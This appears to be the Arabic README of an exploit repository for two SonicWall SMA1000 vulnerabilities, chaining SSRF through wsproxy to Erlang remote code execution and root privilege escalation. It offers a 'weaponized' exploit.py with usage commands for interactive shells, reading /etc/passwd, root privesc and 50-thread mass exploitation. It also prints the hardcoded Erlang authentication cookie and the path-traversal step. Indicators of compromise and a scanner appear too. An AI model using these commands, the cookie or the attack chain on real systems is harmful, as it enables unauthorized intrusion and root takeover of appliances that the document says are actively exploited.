[1] CVE-2026-15409 | [2] CVE-2026-15410

SonicWall SMA1000 - SSRF → RCE عبر Erlang → رفع صلاحيات إلى الجذر

إطار استغلال وأداة كشف آمنة
للاستخدام في الاختبارات الأمنية المصرّح بها فقط.

⚖️ إخلاء مسؤولية قانوني والاستخدام المسؤول

تُقدَّم هذه الأداة لأغراض التعليم واختبارات الاختراق المصرّح بها فقط.

المؤلفون والمساهمون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. يتحمل المستخدمون وحدهم مسؤولية التأكد من حصولهم على إذن كتابي صريح من مالك الهدف قبل الاختبار. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني بموجب قانون الاحتيال وإساءة استخدام الحاسوب (CFAA) والقوانين المماثلة حول العالم.

باستخدامك لهذا البرنامج، فإنك توافق على:

• استخدامه فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.
• الامتثال لجميع القوانين المحلية والولائية والاتحادية المعمول بها.
• عدم استخدامه في أي أنشطة خبيثة أو تخريبية أو غير قانونية.

⚠️ تحذير: هذه الثغرة تُستغل بنشاط في البرية. قد يؤدي الاستخدام غير المصرح به إلى عواقب قانونية وخيمة.

🔥 نظرة عامة على الثغرات

CVE-2026-15409 هي ثغرة حرجة من نوع تزوير الطلبات من جانب الخادم (SSRF) بدون مصادقة، تم اكتشافها في واجهة Work Place لجهاز SonicWall SMA1000.

كيف تعمل:

1. يستغل المهاجم ثغرة SSRF للاختراق عبر نقطة نهاية wsproxy.
2. يمنح ذلك وصولاً إلى خدمات توزيع Erlang الداخلية (المنفذ 1050/8188).
3. باستخدام ملف تعريف ارتباط (cookie) افتراضي مضمّن في الكود، يصادق المهاجم على عقدة Erlang.
4. يتم تحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر استدعاءات os:cmd/1.
5. ثم يتم ربط CVE-2026-15410 لرفع الصلاحيات إلى الجذر (root) عبر ثغرة اجتياز المسار في AMC (وحدة تحكم إدارة الجهاز - Appliance Management Console).

حقائق رئيسية:

• 📅 الإفصاح: 14 يوليو 2026
• ⚠️ درجة CVSS: 10.0 (حرجة)
• 📋 CISA KEV: أُضيفت في 14 يوليو 2026 (تاريخ الاستحقاق: 17 يوليو 2026)
• 🎯 المنتجات المتأثرة: SMA 6210, SMA 7210, SMA 8200v
• 🔄 الإصدارات المُصلحة: 12.4.3-03453+ و 12.5.0-02835+

🛠️ إطار الاستغلال (exploit.py)

الاستغلال الكامل والمُسلّح يربط بين CVE-2026-15409 وCVE-2026-15410 لتحقيق اختراق على مستوى الجذر.

✨ الميزات:

📦 التثبيت والمتطلبات

المتطلبات الأساسية:

• Python 3.6+
• pip (لمكتبة requests)

تثبيت التبعيات:

pip install -r requirements.txt

[!] ملاحظة: يستخدم exploit.py تنفيذ WebSocket يدويًا – لا حاجة لمكتبة websockets. مكتبة requests مطلوبة فقط لميزة --detect.

🚀 أمثلة على الاستخدام

[2] إطار الاستغلال (exploit.py)

# Interactive shell on target
python exploit.py -u 192.168.1.100

# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"

# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd

# Enable SSRF detection before exploitation
python exploit.py -u 192.168.1.100 --detect

# Attempt root privesc
python exploit.py -u 192.168.1.100 --privesc

# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"

# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /workplace

# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100

[2] أداة الفحص الآمنة (checker.py)

# Single target scan
python checker.py https://192.168.1.100

# Custom port and path
python checker.py 192.168.1.100 --port 8443 --path /workplace

# Mass scan from file
python checker.py --list targets.txt

🎯 الإصدارات المتأثرة

⚠️ مهم: لا تؤثر هذه الثغرات على جدران الحماية من SonicWall (SSL-VPN) أو سلسلة SMA 100.

🧠 تحليل تقني معمّق

SSRF (CVE-2026-15409)

تقبل نقطة نهاية wsproxy على المنفذ 443 معامل bmID يبدأ بـ -3389 ومواصفات host:port. من خلال توجيه host=127.0.0.1 وport=1050، يمكن للمهاجمين إنشاء نفق إلى خدمة توزيع Erlang الداخلية.

Erlang RPC

تستخدم عقدة Erlang ملف تعريف ارتباط (cookie) افتراضيًا مضمّنًا في الكود: 10ecad5b446e86864832904cd439b6b70262. وهذا يسمح بالمصادقة عن بُعد وتنفيذ أي استدعاء os:cmd/1.

رفع صلاحيات الجذر (CVE-2026-15410)

بمجرد المصادقة، يكتب الاستغلال سكربت شل إلى /var/tmp/ ويستدعي نقطة نهاية AMC remove_hotfix الخاصة بـ XML-RPC مع اجتياز المسار (../../../../var/tmp/script.sh)، مما ينفذ السكربت بصلاحيات الجذر.

🔍 مؤشرات الاختراق (IoCs)

توصي SonicWall بالتحقق من:

• extraweb_access.log بحثًا عن /__api__/login أو /__api__/logout (حالة 200)
• extraweb_access.log بحثًا عن /wsproxy مع معاملات host مشبوهة (حالة 101)
• ctrl-service.log بحثًا عن عمليات تراجع (rollback) للإصلاحات السريعة (hotfix) مع اجتياز المسار
• /var/lib/unit/conf.json الذي يحتوي على مسارات لـ /__api__/login أو /__api__/logout

📚 المراجع

• NVD - CVE-2026-15409
• SonicWall Advisory (SNWLID-2026-0008)
• CISA KEV Catalog
• The Hacker News - استغلال ثغرتين بيوم الصفر في SonicWall SMA 1000